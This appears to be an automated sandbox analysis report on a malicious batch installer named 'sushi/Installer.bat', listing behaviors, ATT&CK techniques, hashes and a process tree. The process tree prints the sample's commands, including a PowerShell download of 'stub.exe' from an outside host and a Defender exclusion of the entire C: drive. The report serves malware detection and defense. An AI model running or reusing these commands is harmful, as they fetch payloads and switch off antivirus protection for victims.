a2e8bc403a5538730879d16b4a98686cf5562b822a431d40fffa7ab7f923bafd

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
01-12-2024 21:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sushi/Installer.bat
Size

65B
MD5

9234614a70c0c02829fbad081a57eae5
SHA1

4058c1a07df74ec328ac5a81e7fd13c60072aea7
SHA256

4c87cf865dac4712ce5c86bc0ede65060f5b4058c3c48bcf145b54eed2ecd9dd
SHA512

3c036df40c6f94c7fdea5b7b80bffbe8d9a16cfdc632e447955c5fe4167be5c9954d5f33e81afc47189078210fba9245fbcbbc7f0378f1efcb3e4cb6ccd54801

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2748	powershell.exe
2244	powershell.exe
2660	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
812	account.tmp

Loads dropped DLL 1 IoCs

pid	Process
2528	account.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\NSRS\unins000.dat	account.tmp
File created	C:\Program Files (x86)\NSRS\unins000.dat	account.tmp
File created	C:\Program Files (x86)\NSRS\is-B18C1.tmp	account.tmp

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	account.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	account.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2528	account.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2748	powershell.exe
2244	powershell.exe
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
812	account.tmp

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 1076	3056	cmd.exe	31
PID 3056 wrote to memory of 1076	3056	cmd.exe	31
PID 3056 wrote to memory of 1076	3056	cmd.exe	31
PID 1076 wrote to memory of 2528	1076	cmd.exe	33
PID 1076 wrote to memory of 2528	1076	cmd.exe	33
PID 1076 wrote to memory of 2528	1076	cmd.exe	33
PID 1076 wrote to memory of 2528	1076	cmd.exe	33
PID 1076 wrote to memory of 2528	1076	cmd.exe	33
PID 1076 wrote to memory of 2528	1076	cmd.exe	33
PID 1076 wrote to memory of 2528	1076	cmd.exe	33
PID 2528 wrote to memory of 812	2528	account.exe	34
PID 2528 wrote to memory of 812	2528	account.exe	34
PID 2528 wrote to memory of 812	2528	account.exe	34
PID 2528 wrote to memory of 812	2528	account.exe	34
PID 2528 wrote to memory of 812	2528	account.exe	34
PID 2528 wrote to memory of 812	2528	account.exe	34
PID 2528 wrote to memory of 812	2528	account.exe	34
PID 812 wrote to memory of 2748	812	account.tmp	35
PID 812 wrote to memory of 2748	812	account.tmp	35
PID 812 wrote to memory of 2748	812	account.tmp	35
PID 812 wrote to memory of 2748	812	account.tmp	35
PID 2748 wrote to memory of 2244	2748	powershell.exe	37
PID 2748 wrote to memory of 2244	2748	powershell.exe	37
PID 2748 wrote to memory of 2244	2748	powershell.exe	37
PID 2748 wrote to memory of 2244	2748	powershell.exe	37
PID 1076 wrote to memory of 2660	1076	cmd.exe	38
PID 1076 wrote to memory of 2660	1076	cmd.exe	38
PID 1076 wrote to memory of 2660	1076	cmd.exe	38

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\sushi\Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\system32\cmd.exe
  cmd /c "classes\avatar.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Users\Admin\AppData\Local\Temp\sushi\Classes\account.exe
    "C:\Users\Admin\AppData\Local\Temp\sushi\Classes\account.exe"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of WriteProcessMemory
    PID:2528
  - - C:\Users\Admin\AppData\Local\Temp\is-RJCEL.tmp\account.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-RJCEL.tmp\account.tmp" /SL5="$30144,845894,845824,C:\Users\Admin\AppData\Local\Temp\sushi\Classes\account.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:812
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\is-7F0P2.tmp\1.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2748
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri http://sushifactory.uk/stub.exe -OutFile C:\Users\Admin\AppData\Local\Temp\stub.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\is-7F0P2.tmp\1.ps1

Filesize
59B

MD5
d541ca594d1f7f4e7e410dab77d5b9a1

SHA1
4ee8b70929e9ba694a1cf4bbd167e267df1612aa

SHA256
e58ece60621ee71f33fc205dec39d17be6a2956fb144b66d9c0ffefd70f7cc17

SHA512
53c0806bbd7d9819f5b8f7fe3905977f06597004b6f4f2eafc980504e9a8f7a3d3ad34fe207a227f1ca5009a2199a03c77a834620ed6ae9e8d96754d1affd7ea

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
835049b43130e8f6ef4dab467d80aeb5

SHA1
80df116c8cf0c8a91db4c7a867f21ebaecdc50fd

SHA256
f2e95098518bc9f936a7a2a945d49ab596adef210bd66e16b1e06b29f55f9939

SHA512
38690842f94c77aeb8f0b34933fe4ebf20713a70987e28309eb0155e5908c972294aaa19fbfedbb983d48124ad22969c37ee69813b7aeb36fea0b976f29989b4

Download Submit
\Users\Admin\AppData\Local\Temp\is-RJCEL.tmp\account.tmp

Filesize
3.2MB

MD5
035e56973a32721ed623f2ecd605571e

SHA1
cb6969652265370eaca3dcf88f6e743105510e30

SHA256
f56e4fd4dd3e20a106395f525f4a2e2c07416c62ab022215c8dc4fef2b519729

SHA512
bd16344bb2957bead325acbb6a23b029ad61b7de4d1baf159ecf2ace3f6f7d0231e3c6264defa6c2d99ac9b894f1001eeceee0d0c3cf45c071b9b917da1c46fb

Download Submit
memory/812-8-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/812-25-0x0000000001090000-0x00000000013D3000-memory.dmp

Filesize
3.3MB

Download
memory/2528-2-0x0000000000FA1000-0x0000000001049000-memory.dmp

Filesize
672KB

Download
memory/2528-0-0x0000000000FA0000-0x000000000107C000-memory.dmp

Filesize
880KB

Download
memory/2528-26-0x0000000000FA0000-0x000000000107C000-memory.dmp

Filesize
880KB

Download
memory/2660-31-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2660-32-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download